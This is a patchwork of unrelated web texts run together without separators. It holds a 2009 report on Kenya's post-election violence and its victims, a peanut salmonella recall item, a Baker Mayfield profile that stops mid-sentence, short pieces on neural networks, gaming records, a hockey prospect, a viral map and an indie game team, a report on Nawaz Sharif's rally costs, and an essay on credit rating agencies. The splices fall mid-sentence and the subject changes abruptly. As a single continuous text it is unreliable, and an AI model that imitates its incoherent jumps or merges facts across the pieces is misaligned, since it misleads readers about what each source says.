The only thing Kenya’s ruling class seems to agree on is refusing to pay most of its taxes, even though Kenyan politicians are already among the highest paid in the world, a stunning fact in one of the world’s poorest countries.
“Corruption is the glue holding this government together,” said John Githongo, the director of an anticorruption institute here.
Kenya’s legendary safari business, an engine of the economy, has not bounced back either. Tourist arrivals were down about 35 percent in 2008 compared with 2007, leading to thousands of layoffs and a steady stream of unemployed youths marching back to the already teeming slums.
President Obama, whose father was Kenyan, has become a savior to many people here, in part because Kenyans say their own leaders have been such a disappointment.
Ethnicity and the country’s lingering Balkanization are topics studiously avoided in Parliament. Few of Kenya’s politicians seem ready to tackle land reform, constitutional reform or the dangerous culture of impunity, all of which were called urgent priorities after the bloodshed last year. Many Kenyans are urging the International Criminal Court in The Hague to get involved, because they have no faith that the Kenyan justice system will prosecute the well-known political figures suspected of orchestrating last year’s killings.
“This country hasn’t healed,” Mr. Kiai said, “because we haven’t done anything to heal it.”
Many victims of last year’s violence feel totally abandoned. On a recent morning, Mary Macharia stood in a long line of sick people at a hospital near Nairobi, Kenya’s capital, her eyes on the floor.
A shiny, bubbly scar stretches from her ear to her lips. The right side of her face looks melted. A glance in the mirror jolts her mind back to the burning church where her daughter was killed a year ago, along with 30 others.
“Some days,” she said, “I hate myself.”
Across Kenya, near the western town of Kisumu, Millicent Awino is all alone, a young woman who used to have two children and a decent job packing flowers. She is essentially a serf now, her time, her sweat and her body at the beck and call of her ex-husband’s family, the only people who would take her in after she fled the violence that consumed her son and daughter and the ethnically mixed town where she used to live. She recently had another child, by the ex-husband who came into her hut one night, but the baby died of malaria.
“I think I’m done with children,” she said.
She also said she would never return to her former home.
Kenya, once a nation of so much promise, remains a land divided. The country pulled apart in 2008, when hundreds of thousands of people fled ethnically mixed areas for the safety of homogeneous zones. This was the result of a disputed election in which the president, Mwai Kibaki, was widely believed to have rigged the results to stay in power. Supporters of the top opposition leader, Raila Odinga, who hails from a different ethnic group, then vented their rage on Mr. Kibaki’s people.
On Jan. 1, 2008, Mrs. Macharia and four of her children ran from their farm near Eldoret, in the Rift Valley, to a nearby church to seek shelter.
The Macharias are Kikuyus, Mr. Kibaki’s ethnic group. A mob made up of men from other ethnic groups surrounded the church, barricaded the doors and set it on fire. Mrs. Macharia tried to escape but tripped on a burning mattress, falling on her right side. She had her 3-year-old daughter, Joyce, tied to her back and the little girl flipped into the flames.
Mrs. Macharia remembers her daughter screaming: “Mommy, don’t leave me here! I don’t want to die!”
But people inside the church panicked and Mrs. Macharia, 41, was trampled at the door.
She spent the next six months in the hospital, getting skin grafts and other painful operations. She wants plastic surgery, she said, “because I don’t like the way people look at me now.”
But for the first time in her life, she is broke. Her family used to have a nice farmhouse, sheep, chickens and cows. Now they live in a one-room apartment atop a sun-baked hill, surrounded by other Kikuyus, living off handouts.
“We used to have it all,” said Haron Macharia, Mary’s husband. “Now, we’re beggars.”
He said he could never go back to Eldoret because his neighbors had turned on him and they were like “snakes.”
The Macharias are worried about their 12-year-old son, James. He, too, was trapped in the church that day, though he survived.
“He won’t stop talking about killing,” Haron said. “He wants to burn everything.”
Over the summer, Kenyan children rioted in hundreds of schools, ransacking classrooms and burning down dorms. Ostensibly, the children were upset about exams. In truth, it may have been a collective outburst after all the violence they had witnessed.
Mrs. Awino’s two children, Wycliffe and Cynthia, were victims of revenge. Mrs. Awino, 24, is a Luo, a large and historically marginalized ethnic group, and while she was at work on Jan. 27, 2008, packing roses for $2 a day, a Kikuyu mob burned the house where her children were staying.
Her losses do not seem to end. After her 3-month-old baby died in early February, Mrs. Awino’s in-laws called her cursed and told her to leave.
“I would,” she said. “But I have nowhere else to go.”
__________
Full article and photo: http://www.nytimes.com/2009/03/01/world/africa/01kenya.htmlI just can't get over how well that self-policing policy has worked for our national food supply!
Federal officials have released a tidal wave of fresh recalls in the past 24 hours as they connect the dots in the supply chain of tainted peanut-related products.
The latest recalls by 25 companies listing dozens of items include Walgreen's chocolate candy with peanuts, Best Brands peanut butter cookie dough and Hain Celestial's frozen pad Thai dinners, including one made for Trader Joe's.
On Saturday, Harry and David of Medford joined the recall, pulling Olympia Delight Trail Mix products, and Berkeley, Ca.-based Clif Bar and Co. pulled eight more of its protein bars.
The recall has reached a fever pitch since it was expanded to include all products - from roasted peanuts to peanut butter -- from Peanut Corporation of America's plant at Blakely, Ga., where Food and Drug Administration investigators found two strains of salmonella and evidence that on 12 occasions in 2007 and 2008 the company sold food even after it had tested positive for salmonella.
In a startling revelation on Saturday, the Atlanta Journal Constitution said the president of Peanut Corp., Stewart Parnell, serves on an industry advisory board that helps the U.S. Department of Agriculture set quality standards for peanuts.What could seem more ho-hum than No. 4 Oklahoma 41, Kansas 3? The toast of the Big 12, in its penultimate regular-season contest, stomps the cellar-dwelling Jayhawks on its march to the conference championship game. Perfunctory bookings like these speckle each fall Saturday; often their results are so lopsided, they fail to reward the viewer. But not this game, not any Sooners game, really, over the past three seasons. Miss one and you’ll miss the latest episode of college football’s best serial: The Baker Mayfield Show.
The tricks the 22-year-old senior quarterback pulls every weekend with his arm and feet stack up favorably against those performed by any modern passing wizard. In the pocket he dodges rushing defenders until the last moment, by which point one of his receivers has put himself in position to catch a tight spiral 30 yards downfield. Or he makes a run for it and, relying on jukes and stiff-arms, proves surprisingly difficult to bring to the ground. And those are the plays that don’t go according to plan. He is otherwise essentially a machine: In no contest this season has he completed less than 63% of his passes or thrown for fewer than two TDs and 257 yards.
The two best seasons by passer rating in the history of college football are Baker Mayfield’s 2017... and Baker Mayfield’s 2016. Barring a Lochner v. New York–level miscarriage of justice, he will win the Heisman Trophy. And regardless of what the postseason brings—with a win over TCU in the Big 12 championship game, Oklahoma will play in the College Football Playoff for the second time in three years—he is likely to go down in history as the best quarterback the seven-time national champion Sooners have ever had.
While the foregoing attests to Mayfield’s many gifts as a player, as a synopsis of The Baker Mayfield Show it falls short. When Mayfield plays, bizarre events occur. Games like No. 4 Oklahoma 41, Kansas 3 turn consequential and indelible. The record should show that on this particular Saturday in November, the Jayhawks started it. When the team captains headed to midfield for the coin toss, the Kansas leaders chose to spurn Mayfield. As he extended his right mitt their way for a shake, the four KU captains kept their hands clasped. Mayfield’s head jerked back as if to suggest a guffaw, and then he started clapping furiously, like the Jayhawks captains had just told a whopper of a joke.
And in a way they had. Consider the hubris necessary for a 1–9 team, with three conference wins in the past five seasons, playing before a crowd of 22,854, to cook up a scheme to punk the best player in college football. What did they think would happen? A slighted Mayfield would forget how to quarterback and doom his team to defeat? (Jayhawks defenders tried to knock him out with a couple of cheap shots, too.) Kansas should have known better. Mayfield delights in disrespect. In an interview four days before the game, Mayfield said, “I think I was truly born to thrive in hostile environments. I find it fun to have a little back-and-forth conversation with the opposing fan base.” He cited Morgantown, Columbus and Stillwater as the most challenging enemy territories; it’s safe to say Lawrence was, well, further down the list. ESPN cameras caught him yapping to the crowd, “Your school has one win! Go cheer on basketball!”
Mayfield has stuffed his farewell season full of capers like these. Before facing Baylor on Sept. 23, he told the Bears, “You forgot who Daddy is. I’m going to have to spank you today.” Before the Oct. 28 game against Texas Tech, the school from which he transferred in 2013, Mayfield entered the stadium wearing a shirt emblazoned TRAITOR. He had seen them in the student section at the Tech game the year before. Most conspicuously, after a Sept. 9 victory at Ohio State (avenging a 2016 loss in Norman that had doomed Oklahoma’s national-title hopes), Mayfield took a victory lap with OU’s flag before attempting to plant it at the 50-yard line. (Alas, the field had no give, and as Mayfield’s teammates swarmed him, the flag tumbled to the turf.)
The Monday after the Buckeyes game, Mayfield apologized. But in an interview later that month, he said he wouldn’t take back the celebration. He says now, “That’s the game, emotions are rolling. We had been waiting for that game a long time. It happened. Whatever. I don’t think it’s as big a deal as others might make of it. And I think I made some Michigan fans happy, at least.”
Mayfield and those around him say that the swaggering, cocky reputation he has does not reflect his personality. He says his true self comes across best one-on-one. Indeed, in conversation the Austin native is friendly and easygoing, an average college senior who likes Justin Timberlake, Jimmy Fallon, Halo and cooking breakfast. He does not have the polish and statesmanship common to some star quarterbacks; his enthusiasm for the game and the place he plays it is more earnest and direct. “That’s who I am, an emotional guy, a fiery guy, always played with an edge,” he said, sitting in an empty season-ticket-holder lounge at his home stadium, where three days earlier he led the Sooners to a 38–20 win over No. 6 TCU. “The coaches that are here with me, they love it, cause they know that’s when I’m at my best. I would never say I take it too over-the-top.”
Four days later, the boundaries of his game-day conduct now having been defined, came the Kansas game. Late in the third quarter, Mayfield marched his team down the field for an easy touchdown that fully extinguished what was left of the Jayhawks’ hopes. As he walked up the Sooners sideline he stared down his opponents. He popped off his helmet with both hands. Then, shifting the helmet to his left hand, he used his right to grab his crotch. (Like Chekhov’s gun, Mayfield’s right hand reappeared, full this time.) Then, he screamed “F--- you!” Three times.
The Baker Mayfield Show had turned into Deadwood, live on ESPN. And again the wider sports world had occasion to wonder: Just who does Baker Mayfield think he is?
Brett Deering/Getty Images
On a Tuesday afternoon in Norman, before all this, everything was tranquil and brick-red, even the squirrels. Bedecked in all sorts of Sooners gear, students ambled quietly around the campus. Legend has it that during a tour of campus, Frank Lloyd Wright coined the term Cherokee Gothic to describe Oklahoma’s stately buildings, which possess the ornate flourishes one would find on Ivy League campuses but have been constructed primarily of brick. Some date to the 1920s. Many others, though, have risen in recent years under university president David Boren, the former senator and Oklahoma governor who has overseen the university since 1994 and will retire at the end of this academic year.
As state funding has dried up, Boren has steadily elevated the university’s national reputation. Oklahoma has aggressively recruited and enrolled National Merit Scholarship winners—no public school has more—with heavy tuition subsidies. And among the campus’s unusual features is Scholars’ Walk, a pathway with bronze plaques to commemorate every alum who has received a major scholarship or fellowship. Clearly the university is committed to being recognized for more than athletics. But this chip has been on the school’s shoulder for a long time: Six decades ago an OU president told the state senate, “I want a university the football team can be proud of.”
Although that dream seems closer than ever before, Sooners football nevertheless remains the biggest deal in town. (The athletic department brings in enough revenue to sustain itself and send cash back to the university; a sign at the Fred Jones Jr. Museum of Art informs visitors that admission is free thanks to Sooners sports.) Earlier this year Oklahoma opened a renovated Barry Switzer Center, which features high-tech hydraulic lockers and a spa, and can be entered only after a fingerprint scan.
The same Sooners football cachet that built the Switzer Center inspired, in January 2014, an 18-year-old from Austin to wash up on campus without advance notice for the second semester of his freshman year. He had been admitted to OU for the fall semester but had chosen instead to attend school in his home state. But he decided mid-semester that there was no way he could spend four years in Lubbock. So he and his mom drove the six hours up I-35, the same stretch the family had driven, in better spirits, for so many Sooners games.
The annual visits to Norman had begun well before James and Gina Mayfield’s two sons were born. James had played high school football in Carrollton, Texas, with Charlie Sadler, who coached linemen at OU under Barry Switzer in the 1980s. (After high school James played quarterback and punter for Houston, without lettering.) Sadler introduced the Mayfields to the other assistants, and before long the Mayfields became part of the extended Sooners family.
They still called Austin home, though, and their boys tended to run into a little trouble at school wearing Sooners gear in Longhorns country. “For a kid, that was just about as hostile as it can get,” Baker says. Especially if the Sooners lost the annual Red River Shootout in mid-October. But the Mayfield boys didn’t face that too often: From Bob Stoops’s arrival in 1999 through Mayfield’s last year of high school, Oklahoma went 9–5 against Texas.
While Stoops was building his name in Norman, Baker Mayfield was doing the same at Lake Travis High, west of Austin. Well, really, he already had an outstanding name: Baker Mayfield. A name that could belong only to a quarterback—or perhaps to a historically significant tariff ratified in the 1880s. James had an old teammate named Baker, and while Gina loved the name, James didn’t. James said the only way he’d go for Baker would be if the boy’s middle name were Reagan, after the 40th president. He didn’t think Gina would bite. But she did. And so Baker Reagan Mayfield was born.
In 2011, though, Baker Reagan Mayfield wasn’t drawing much interest. He had taken over the starting job as a junior and led Lake Travis to a state championship, but the title was the school’s fifth in a row. Garrett Gilbert was Mr. Texas Football 2008 and had gotten a scholarship to Texas. Gilbert’s successor, Michael Brewer, had received a scholarship to Texas Tech. Was Baker Mayfield no more than a system QB? He also struck many coaches as too scrawny.
Even the coaches in Norman. After Baker failed to attract much attention from the major schools, his father reached out to his connections at OU, and Baker and his dad drove up after the district championship on a recruiting visit. They met the coaching staff before a November game against Texas A&M.
“They saw that I was the size I was, and I could tell that they were not interested at all,” Baker says. “They looked at me like I didn’t deserve to be there. It was a slap in the face.” TCU shunned him, too, after an extended courtship. And so the quarterback of the Texas state champions, who had always wanted to play for the Sooners, was stuck choosing among disappointing offers: Florida Atlantic, New Mexico, Rice and Washington State—the only Power 5 program to offer him a scholarship.
Mayfield’s parents implored him to choose none of those and to walk on at Tech. He did. He won the job as a true freshman, made eight starts (interrupted by a right-knee injury), lost the job and left school before the team’s appearance in the Holiday Bowl. There was only one destination he had in mind, only one program where he wanted to be. No matter that its freshman quarterback, Trevor Knight, had just led the Sooners to a stunning Sugar Bowl upset of Alabama. Within a year, he’d taken over as Oklahoma’s starting quarterback. Two years later, he has the Sooners three wins away from their first national title in 17 years.
After the Kansas game came widespread castigation. Some analysts suggested Mayfield had damaged his draft stock and should be left off Heisman ballots. One columnist declared that while Mayfield still deserves the trophy, he doesn’t deserve college football’s respect. The Big 12 reprimanded Mayfield, noting that his “behavior was... inappropriate and contrary to our sportsmanship policies.”
It was Mayfield’s bad luck that the camera was trained on him; the reliable if contradictory politics of college football—spirited, freewheeling college football!—dictated that he face formal censure. His punishment came the following Monday, when coach Lincoln Riley announced that Mayfield would not start and would be stripped of his captaincy for the final regular-season game against West Virginia. It was to be the last home game of Mayfield’s college career.
The punishment wounded Mayfield. Not starting—well, he could deal with that. But losing his captaincy on Senior Night after three triumphant years as a leader? That was a bigger blow.
He had put his circle through similar agita in February, when he was arrested early one Saturday morning in Fayetteville, Ark., for public intoxication, disorderly conduct, fleeing and resisting arrest. (He pleaded guilty to the first three charges as part of a deal with prosecutors in June.) The whole affair was caught on a dash-cam video, which featured this exchange between police officers:
“By the way, he’s the quarterback for OU. That’s what his girlfriend said.”
“Is he really? He’s not very fast.”
Barry Switzer tweeted his impression: “They couldn’t have caught my quarterbacks.” On social media, Mayfield apologized almost immediately—to the university, his teammates, family, friends and fans. But it was months, he says, before he felt comfortable living with and talking about what he had done. Gina Mayfield says, “Baker had prided himself on being smarter than that, on not being the guy to make the stupid mistake.”
What reinvigorated Mayfield were the teammates and coaches who were still looking to him for leadership. The same faith inspired him after the Kansas game. “The way those guys supported me showed me that I don’t need a title, necessarily, for the West Virginia game,” he said two days after receiving his punishment. “They still believe in me.”
Riley clearly does. At 34, he is the youngest head coach in major college football, and he has forged uncommon bonds with his players, Mayfield especially. Matt Mayfield, Baker’s brother, explains that Riley is sometimes a third parent to Baker and sometimes a second brother. He arrived at Oklahoma from East Carolina before the 2015 season, the year Mayfield became the starter. (Riley had actually tried to bring Mayfield to East Carolina when he was transferring from Texas Tech.) When both had chances to leave after 2016—Mayfield for the NFL draft; Riley, then offensive coordinator under Stoops, for the head-coaching job at Houston—they stayed put in hopes of making another run at the title together.
When they are asked, almost a year later, if they remained as a package deal, they give nearly identical answers in separate interviews. Mayfield: “It was never spoken, but I think it was understood. I can’t speak for him, but I would like to think it was.” Riley: “We
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to model the behavior of genes, drugs, and proteins and then used to design new medicines.
Recent extensions of variational auto-encoders and generative adversarial networks have greatly improved the ability of neural networks to generate realistic images. Generating data has been a constantly studied problem for decades, and we still do not seem to have the right algorithm to do it. The last year or so has shown that we are getting much closer though.
Friday 21 August
Machine Learning Neural Networks Deep Learning AI Deep Learning Summit NLP Deep Learning Algorithms
0 CommentsForget world records like most consecutive hiccups while upside-down or most railroad spikes jammed up a guy’s nose. Give me the more accessible couch-spud freakdom that is setting video game records, like high scores that blow minds and marathon gaming sessions that shrivel bladders.
I just thumbed through a copy of the new “Guinness World Records 2013 Gamer’s Edition,” which showcases myriad achievements in video games around the world. It also really opens your eyes to those dedicated gamers out there who’ll stop at nothing to conquer what’s on their favorite consoles, coin-ops or touchscreens. Here are a few of their highlights from the book, which just hit stores.
Largest collection of videogame memorabilia
I doubt even Nintendo headquarters has this much junk in its basement. Brett Martin (USA) owns a good 8,030 items, including a very rare Mega Man pillow and inflatable Mario.
Highest-earning “Call of Duty” player
Will “BigTymer” Johnson (USA) scored $135,000 between 2009 and 2012 from four different CoD titles on the Major League Gaming Pro Circuit. Try running that smack on your headset.
Most downloaded mobile game series
No shock: It’s “Angry Birds.” Big shock: The flicked fowl series hit the 1 billion download mark early last year, which translates to a copy for every one in seven people on THE PLANET.
Most frames of animation per character
The downloadable fighter “Skullgirls” pounds out a staggering 11,515 frames for its eight playable characters. That’s an average 1,439 frames per fighter.
Highest “Donkey Kong” score
All hail Hank Chien (USA), who in May 2012 scored a record 1,110,000 on the classic arcade game. Chien dethroned “Kong” rivals Steve Wiebe and Billy Mitchell, whose battle for the best score was chronicled in the 2007 documentary “The King of Kong: A Fistful of Quarters.”
Most “Super Mario Kart” records (female)
Give the checkered flag to 13-year-old Leyla Hasso (UK), who holds 30 time trial records.
Most perfect games of “Wii Sports Bowling”
X continually marks the spot for John Bates (USA), who rolled 14,000 perfect “300” games. Bates is also north of 85, which makes him the oldest video game record-holder.
Related:
• Free ‘Street Fighter X Mega Man’ game hits Dec. 17
• Behold ‘The Wizard,’ the best cartoon music video is now an online game
• The towering promise of ‘Injustice’
Got geek news, insights or other mana? E-mail me. And follow me on Twitter for more tomgeekery.Michael McLeod, the Devils' top pick in the 2016 NHL Draft, is on to his next step of what he called an important summer.
McLeod is trying out for Canada's World Junior Team for the first time, skating this week with other players trying out at USA Hockey's National Junior Evaluation Camp in Michigan.
Canada will be playing scrummages against the USA, Sweden and Finland during the camp.
Devils' August to-do list
There was some concern for McLeod after he left the scrimmage at Devils development camp in July after taking a hit. But the Devils called that move precautionary, and McLeod is now focused on Juniors tryouts.
Juniors teams consist of U20 players, and he told the Mississauga News that the tryouts are the fastest hockey he's seen.
McLeod will be trying to continue an already strong summer at the tryouts. After being drafted by the Devils 12th overall at the NHL Draft in June, he turned heads with his play at the team's development camp.
McLeod's team won the 3-on-3 competition after he scored the game-winning goal in a shootout, and then McLeod scored the first goal in the Red-White scrimmage on Saturday before he left the game.
While the odds of McLeod making the Devils straight out of the draft are slim, he said he has every intention of making the team give him a hard look.
Chris Ryan may be reached at [email protected]. Follow him on Twitter @ChrisRyan_NJ. Find NJ.com on Facebook.(Larger image)
The United States of America sure has a lot of states, and to most non-Americans, the details of which states is which sure can get lost. Fast.
Here's a hilarious annotation of the various states of the USA, as labeled by an Australian who doesn't know anything about its geography. The map has gone viral on Tumblr and reddit.
The bloke got Texas, Florida, Hawaii, Alaska, Washington and Missoula, er, California, correct, but the rest are borderline genius guesses. These include rectangle and wibbly rectangle states and the various versions of Virginias (there sure are a lot of them), roadkill wolf, kite, lava lamp and Washington 2 (Yes, Aussies, we have two Washingtons, just to make it confusing for you - one is a state and the other one is not a state, but it wants to be)
View the larger map here.We've prepared a series of articles "The guys behind Tiny and Big" to introduce you the core team of Black Pants that is working on Tiny and Big. The first one is about our comic artist Sebastian Stamm.
Posted by Mr.Noone on Dec 2nd, 2011
Cheers fellow indie friends,
we've prepared a series of articles "The guys behind Tiny and Big" to introduce you the core team of Black Pants that is working on Tiny and Big. Todays focus is on our comic artist Sebastian Stamm.
Sebastian is an illustrator and animator, born in the deep dark forests of Frankonia.
At Black Pants Studio, he is the one who makes all the artworks, graphics and textures.
He is the one behind the witty character- and storydesign. In addition to working on Tiny and Big, he is finishing his illustration graduation, as he's still studying at the school of Art and Design in Kassel, Germany.
He lives in a small apartment on the fourth floor of an old house with his gal Julia. He enjoys fine cookery as well as canned meat. His main passion is reading comic books, which made him amass a huge mountain picture books by different authors. He is mostly interested in indie comics and likes Rob Schrab, Geoff Darrow, Dave Cooper, Warren Ellis, Bill Wray and stuff like that. As an old console afficionado, he's gathering and restoring old video game consoles from time to time. Under his couch, you can find some gems like a C64, ataris, a odyssey 2001, a donkey kong micro vs. system, and some more electric waste.
Tiny and Big showcase:
Personal showcase:
You can see some of his works here:
The-stamm.com
In the next issue of "The guys behind Tiny and Big" we'll introduce to you Mr. Johannes Spohr, C++ warlock and engine guru.
Regards from the Black Pants headquarter! Feel free to vote for Tiny and Big in the Indie of the year 2011 competition.
Feel free to follow Sebastian Stamm on:
If you wanna follow Tiny and Big, you can do so on:LAHORE (Dunya News)- Ousted Nawaz Sharif’s homecoming rally has cost national exchequer a mammoth amount of Rs300.56 million whereas economy, already plummeting against backdrop of current political turmoil, registered an estimated loss of Rs1.25 billion.
These startling stats were shared in a report by investigation cell of Roznama Dunya.
Report illustrated that commissioners, high-level government officials and employees were assigned task to bring as many Pakistan Muslim League Nawaz’s (PMLN) workers to rally as possible. Report further narrated that carpets, movable stairs, dais and other related things were shifted on government’s vehicles.
Many PMLN’s leaders, who don’t hold any public office, overtly used government’s protocol, vehicles and drivers for participation in rally. Similarly, an estimated 12000 government s vehicles were used in rally and 42000 employees had carried out rally-related tasks.
Discontented by apex court’s disqualification, Nawaz Sharif held GT road rally as display of power. The rally continued for four days whereas leaders including Nawaz addressed participants on several occasions. Nawaz Sharif, in rally, had vowed to address flaws in Constitution and legislation.This is the original English version of a piece that appeared in LIMES, the Italian Journal of Geopolitics in the March 2017 edition. The link to the original is here. They asked for something on the rule of the ratings agencies in their “who rules the world” issue.
http://www.limesonline.com/cartaceo/legemonia-gramsciana-delle-agenzie-di-rating?prv=true
Posting now because it seemed of some interest given my persistent complaints about how local currency ratings work, but also because it also contains some thoughts on the application of ratings to the Eurozone. Fully prepared for tl;dr.
The Gramscian Hegemony of the Ratings Agencies
Karthik Sankaran
Historians have long understood that the link between the fiscal capacity of the state and its ability to engage in and sustain its position in interstate competition is an essential element in the sinews of power. Beginning with the early modern period, fiscal capacity went beyond just the ability to raise taxes but to include ability to issue debt to investors with those investors displaying the confidence that these debts would be repaid – a confidence that in turn was reflected in both the availability and the price of debt.
Fiscal sinews have historically meant the ability to raise money at home. But in a world marked by immense cross-border capital flows, the ability to deny rivals access to global capital or alternately to funnel global capital to allies becomes another aspect of power. As global capital is predominantly owned and mediated by private individuals and institutions, such an ability can take the form of state suasion targeted at investors or at the gatekeepers that influence the disposition and direction of private capital flows. In our world, the rating agencies play a critical role in this regard, insofar as their assessment and calibration of the risks faced by lenders influences not just private investors but also the behavior of regulators who use ratings as an input in determining the safety and soundness of financial institutions. Ratings agencies thus have enormous power. The question is whether this power is exercised as an overt geopolitical instrument, or whether the geopolitical consequences of ratings power reflect rather a Gramscian concept of hegemony, wherein purportedly neutral judgements in fact reflect deeply rooted values, ideologies and beliefs. I would suggest that the latter interpretation is more correct for most discussions of the geopolitical power of ratings agencies.
One of the oddities of this world is the extent to which ratings agencies are concentrated in the Anglo-American world despite the fact that both the US and the UK are actually a large net borrower from the rest of the world. By various calculations the “Big Three” dominant ratings agencies, Moodys and S&P (both headquartered in the US) and Fitch ((jointly headquartered in the US and UK), account for more than 95% of all global ratings activity, with the first two accounting for roughly 80%.
This in turn is the result of several historical factors. The first is that the US and UK experienced the disintermediation of finance earlier than and to a greater degree than other countries did—i.e., rather than banks channeling funds to companies that they understood well, US and UK financial intermediation were focused to a greater degree on the issuance of corporate bonds to a broader investor base. This in turn put a greater premium on the need for information for investors less familiar with underlying business models than closely linked banks might have been, allowing for the rise of the ratings agencies.
The information infrastructure that grew out of these factors became even more important as the US rose to global prominence in the post 1945 world. By the early 1970s, US financial predominance was reflected not in the US status as a creditor to the world (unlike the model of the UK before 1915), but rather as a large debtor, whose preeminence stemmed from an elaborate quid-pro-quo whereby dollars generated by US trade deficits were readily accepted overseas in exchange for the US provision of a defense umbrella and the US provision of ready markets to absorb excess global capacity. This in turn made the dollar the dominant currency of international finance, a status that it still occupies today, with roughly 60% of all cross-border lending conducted in US dollars (This figure does not count cross-border lending within the same currency area as is the case within the Eurozone). contracted in dollars. Globalized dollar lending made US based ratings agencies a central part of the global system of gatekeepers for finance.
What is interesting that Europe was the first (and only) large economic area to try to extricate itself from its dollar linkage when the collapse of the Bretton Woods system in 1971 led to excessive intra-European currency volatility. This in turn inaugurated a long series of arrangements to limit such volatility that culminated in the creation of the Euro. The deutsche Mark and eventually the Euro replaced the dollar has long replaced as the dominant invoice currency in the region. The Euro has also a moderately high degree of internationalization (albeit less than the dollar), with the Euro accounting for a bit more than 20 % of out of area international lending. Meanwhile, the sheer size of the banking sector means that European banks are dominant players in much of the world. As a region with large net savings, Europe is also a net provider of savings to the rest of the world via its private sector. Notwithstanding all of this, European (or more precisely Eurozone-based) ratings agencies have little influence in the world. The same is even more true of the other large suppliers of global savings –China and (until the Shale revolution in the US) the major oil exporters. It is a commonly pointed out as a flaw that the ratings agencies are compensated by issuers rather than by investors, which may in turn create conflicts of interest. There is also a less remarked meta-issue that the dominant suppliers of credit ratings are headquartered in the sinks for global savings rather than in their source.
Do these factors have geopolitical consequences? Undoubtedly yes, but in a less obvious way than might be believed. It is not too often the case that purely geopolitical calculations (or political pressure to consider the same) influence the extent to which agencies tailor their reviews. Like many modern professional cadres, ratings personnel adhere to a certain standard of technocratic autonomy that is governed by its own rules. They are largely recruited from the group of universities that the dominant institutions of globalized finance themselves patronize. This is an international fraternity (and sorority) largely schooled in orthodox economics (with the usual doctrinal schisms within that orthodoxy), and a set of substantially internalized beliefs on the interactions among institutions and economics.
There certainly are instances in which old-fashioned geopolitics plays a part. For example, sanctions meant that Iran was substantially excluded from ratings by the dominant agencies for several years (though there are reports it may seek to renew its ratings as attempts to access capital markets again following the conclusion of the nuclear deal). But even in the case of sanctions, market power matters. For example, the sheer size of Russian integration with global capital markets (with roughly 700 bio dollars owed to Western financial institutions) may have been one factor that meant sanctions after the invasion of Ukraine were calibrated in such a way as to fall well short of Iranian levels of exclusion from markets. Nevertheless, the experience did mean that Russia (like other countries) is trying to set up its own ratings agencies. It remains to be seen how much purchase some ratings will have with investors outside Russia where the advantages of incumbency will likely be very strong.
However, rather than considering ratings agencies through the prism of pure geopolitics, I would argue that it makes more sense to focus on the rules, ideologies, and beliefs that influence ratings, which then have geopolitical and geoeconomic consequences. It does some quite clear that there are issues of internal consistency across the ratings landscape that seem particularly problematic in the case of emerging markets ratings.
The basic metrics that inform creditworthiness include public sector debt to GDP ratios, the currency composition of debt, the extent of private indebtedness in the economy, particularly in the financial system (which in turn may swell sovereign contingent liabilities), and the extent of net overseas holdings of assets (which in turn may be drawn down by domestic citizens to fund their local government). The issue is that the interaction among these factors is somewhat opaque and not necessarily scaled. So some countries would seem to be unequivocally AAA credits, such as Norway with a debt/GDP ratio of 31% and a positive net international position of 170% of GDP. But so are Canada with a gov’t debt/GDP ratio of 92% and an NIIP that is essentially 0% of GDP, and Australia with a government debt/GDP ratio of 40% and an NIIP of -60% of GDP. Conversely, emerging markets sovereigns with much lower debt/GDP ratios and higher NIIPs are rated much lower – for example China’s gross general government debt is 42%, its NIIP is +15%, it has virtually no sovereign external debt owed to private creditors, and yet its rating is in the AA-/A+ area. While this might be justified by large increases in private sector indebtedness in the recent past, developed sovereigns with substantially higher government debt ratios, worse NIIPs, larger banking systems (implying a larger contingent liability problem), and possibly greater medium-term political uncertainty (such as the UK) are rated higher than China.
The overall impression is that a hegemonic ideal of high-income democratic neo-liberalism automatically qualifies a country for high creditworthiness despite numerical indicators to the country. The most clamorous example of this was the overrating of Iceland in the 2000s. A tiny country with an immense, internationally active and very risky banking system (whose assets were roughly 9 times GDP) not only achieved the highest rating from one of the agencies, but saw its banks also upgraded (on the assumption of sovereign support) despite the obvious fact that the sovereign was too far small to actually tender such support. Indeed as late as mid-2009, after a crisis had seen the failure of the entire Icelandic banking system and the imposition of capital controls, the country was still rated higher than Brazil by the same agency, though Brazil had largely weathered the2008-2009 crisis and still had ahead of it a few years of a tailwind from a commodity boom.
As stated before, I do not believe that this reflects geopolitical preferences or influences—that Iceland was a NATO member had to less to do with the decision than a more ideological disposition within international capital more broadly. This is the belief that capitalist democracies that respect neo-liberal tropes of “supply side efficiencies” are inherently likely to have better prospects for economic growth and political stability, which makes them better credit risks, even when the numerical indicators of creditworthiness point the other way. To reiterate, this suggests the operation of hegemony in a Gramscian sense as a set of highly influential beliefs (and rules flowing therefrom) that is both widely shared and rarely questioned, rather than in a more “political science” sense of an exercise of state power by a hegemon that seeks to push private entities in a favorable direction during the course of interstate competition.
Nevertheless, these factors can have political and geopolitical consequences. To return to the years before 2008, the major feature of that period was the sharp rise in so-called global imbalances, as current account deficits in both the US and in the Eurozone periphery exploded alongside large surpluses in the eurozone core, East Asia and among the oil exporters. Among the latter two, the task of accumulating and recycling these surpluses savings was undertaken more by the sovereign than by the private sector. The quest for high-quality assets that could absorb those savings led to the creation of synthetic securities grounded in the US real estate market whose putatively high credit ratings proved famously illusory. An important point here is that the effects on US labor of China’s epochal reentry into the circuits of the world capitalist economy were hidden for a while as US consumption levels were cushioned by increases in US household leverage enabled longer than they would otherwise have been by the operations of the ratings agencies. The broader geopolitical implications of this—the accommodation of China’s rise, the widening rift between globalized capital and national labor in the US and other developed markets (which in turn has led to the Trumpist retreat from globalism) are profound, but once again they seem to stem more from the operations of unconscious rules than from overt pressure to turn the ratings agencies into geopolitical instruments.
The other major node of global imbalances (between the surplus capital exporting core and the deficit capital importing periphery) was the Eurozone, and it is here that the interaction of politics, economics and geopolitics becomes most clear. The decisions of the ratings during the crisis reflected a procyclical pattern observed during the Asian crisis of 1997 of excessively high pre-crisis rating followed by excessively sharp downgrades once the crisis began, which in turn may have contributed to amplifying market responses that exacerbated the crisis. These patterns during the Eurozone crisis (as they did after the Asian crisis of 1997-98) have occasioned a great deal of criticism, but I would argue that that ambiguities in the economic and political governance of the Eurozone may well have heightened the procyclicality of ratings behavior.
